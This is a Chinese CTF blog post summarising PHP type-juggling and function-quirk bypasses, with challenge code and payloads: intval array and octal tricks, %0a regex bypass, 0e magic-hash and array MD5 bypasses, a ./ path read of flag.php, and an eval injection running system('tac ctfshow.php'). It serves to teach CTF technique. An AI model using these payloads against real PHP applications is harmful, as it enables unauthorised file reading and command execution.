php特性
intval函数漏洞
include("flag.php");
highlight_file(__FILE__);
if(isset($_GET['num'])){
$num = $_GET['num'];
if(preg_match("/[0-9]/", $num)){
die("no no no!");
}
if(intval($num)){
echo $flag;
}
}
intval() 函数用于获取变量的整数值。
intval() 函数通过使用指定的进制 base 转换(默认是十进制),返回变量 var 的 integer 数值。 intval() 不能用于 object,否则会产生 E_NOTICE 错误并返回 1
首先第一个if判断有无参数num,第二个if正则匹配有没有数字,第三个if如果能为1的话,就可执行if里的语句,而intval函数用于object时会发生错误并返回1,所以payload为
?num[]=1
如果 base 是 0,通过检测 var 的格式来决定使用的进制:
◦ 如果字符串包括了 "0x" (或 "0X") 的前缀,使用 16 进制 (hex);否则,
◦ 如果字符串以 "0" 开始,使用 8 进制(octal);否则,
◦ 将使用 10 进制 (decimal)。
正则表达式
show_source(__FILE__);
include('flag.php');
$a=$_GET['cmd'];
if(preg_match('/^php$/im', $a)){
if(preg_match('/^php$/i', $a)){
echo 'hacker';
}
else{
echo $flag;
}
}
else{
echo 'nonononono';
}
第一个if需要匹配到php,而第二个if如果匹配到php就会输出hacker,绕过需要不让它匹配到,这里有一个正则匹配的知识点
/i表示匹配大小写
字符 ^ 和 $ 同时使用时,表示精确匹配,需要匹配以php开头和以php结尾
/m 多行匹配 若存在换行\n并且有开始^或结束$符的情况下,将以换行为分隔符,逐行进行匹配
但是当出现换行符%0a
的时候,$cmd的值会被当做两行处理,而此时第二个if正则匹配不符合以php开头和以php结尾
所以payload为
?cmd=%0aphp
或者
?cmd=php%0a%0a
php浮点数不能直接比较相等的特性
if(isset($_GET['num'])){
$num = $_GET['num'];
if($num==4476){
die("no no no!");
}
if(preg_match("/[a-z]/i", $num)){
die("no no no!");
}
if(intval($num,0)==4476){
echo $flag;
}else{
echo intval($num,0);
}
}
?num=4476.1
强比较和弱比较
强类型:===,比较值也比较类型
弱类型:==只比较值
- 0e绕过
弱比较会把0exxxx当做科学计数法,不管后面的值为任何东西,0的任何次幂都为0
以下是一些字符串md5值以0e开头
QNKCDZO
240610708
s878926199a
s155964671a
s21587387a
payload:?a=QNKCDZO&b=240610708 即可绕过
- 数组绕过
因为php中md5(数组)返回空值
空值=空值返回ture
- 强类型绕过
(1)、哈希碰撞
- 双md5绕过,就是md5的值和双md5还是0e开头
if(isset($_GET['num'])){
$num = $_GET['num'];
if($num==="4476"){
die("no no no!");
}
if(preg_match("/[a-z]/i", $num)){
die("no no no!");
}
if(!strpos($num, "0")){
die("no no no!");
}
if(intval($num,0)===4476){
echo $flag;
}
}
因为八进制需要开头指定为0,而strpos()会匹配到返回0,!0也就是1得执行die,我们可以在前面加个空格,这样strpos()会返回1,所以我们把4476转换为8进制10574后,前面再加一个空格即可,payload为
?num= 010574
highlight_file文件读取
if(isset($_GET['u'])){
if($_GET['u']=='flag.php'){
die("no no no");
}else{
highlight_file($_GET['u']);
}
}
读取文件,参数不等于flag.php,那直接加个./
即可,有多种办法,php伪协议也可
?u=./flag.php
md5类型
if (isset($_POST['a']) and isset($_POST['b'])) {
if ($_POST['a'] != $_POST['b'])
if (md5($_POST['a']) === md5($_POST['b']))
echo $flag;
else
print 'Wrong.';
}
强比较md5类型题目,我刚好做过这个题型总结,师傅们可以去我的这篇文章看看https://www.wlhhlc.top/posts/16813/
md5函数处理数组舒服会返回NULL,两个NULL即相等
payload为
post:
a[]=1&b[]=2
弱类型比较的MD5绕过
v1!=v2,md5(v1)==md5(v2)
利用php弱类型比较的特点,构造v1,v2使得他们的MD5值开头都为0e,php会认为是科学计数法不管后面是什么都是0的次方,最终判定为相等。
以下为最常用的两个字符串
字符串 | MD5值 |
---|---|
NKCDZO | 0e830400451993494058024219903391 |
40610708 | 0e462097431906509019562988736854 |
强类型比较的MD5绕过
v1!=v2,md5(v1)===md5(v2)
绕过方法:数组绕过:a[]=a&b[]=b,传入参数为数组则MD5返回NULL,NULL是一种特殊类型
最后可能会报错,但是null=null,判断为true,成功绕过
is_numeric()函数漏洞
include("ctfshow.php");
//flag in class ctfshow;
$ctfshow = new ctfshow();
$v1=$_GET['v1'];
$v2=$_GET['v2'];
$v3=$_GET['v3'];
$v0=is_numeric($v1) and is_numeric($v2) and is_numeric($v3);
if($v0){
if(!preg_match("/\;/", $v2)){
if(preg_match("/\;/", $v3)){
eval("$v2('ctfshow')$v3");
}
}
}
一共需要传三个get参数,然后$vo
是对三个参数的与的结果,了解一下s_numeric()
函数
is_numeric() 函数用于检测变量是否为数字或数字字符串
如果指定的变量是数字和数字字符串则返回 TRUE,否则返回 FALSE
看到最后eval,肯定是需要命令执行,这需要$v2
传入命令,$v3
需要;
结尾,但这么一来就变成了
$vo = $v1 and FALSE and FAlse
但php有运算的优先级,也就是&&> = > and
$a = true and false;
按照运算优先级,先执行=
也就是赋值给$a为true,false就被忽略了,思路也就有了,payload为
?v1=1&v2=system("tac ctfshow.php")&v3=;
标签:姿势,no,GET,汇总,v2,num,php,md5
From: https://www.cnblogs.com/lyxhhz/p/17052272.html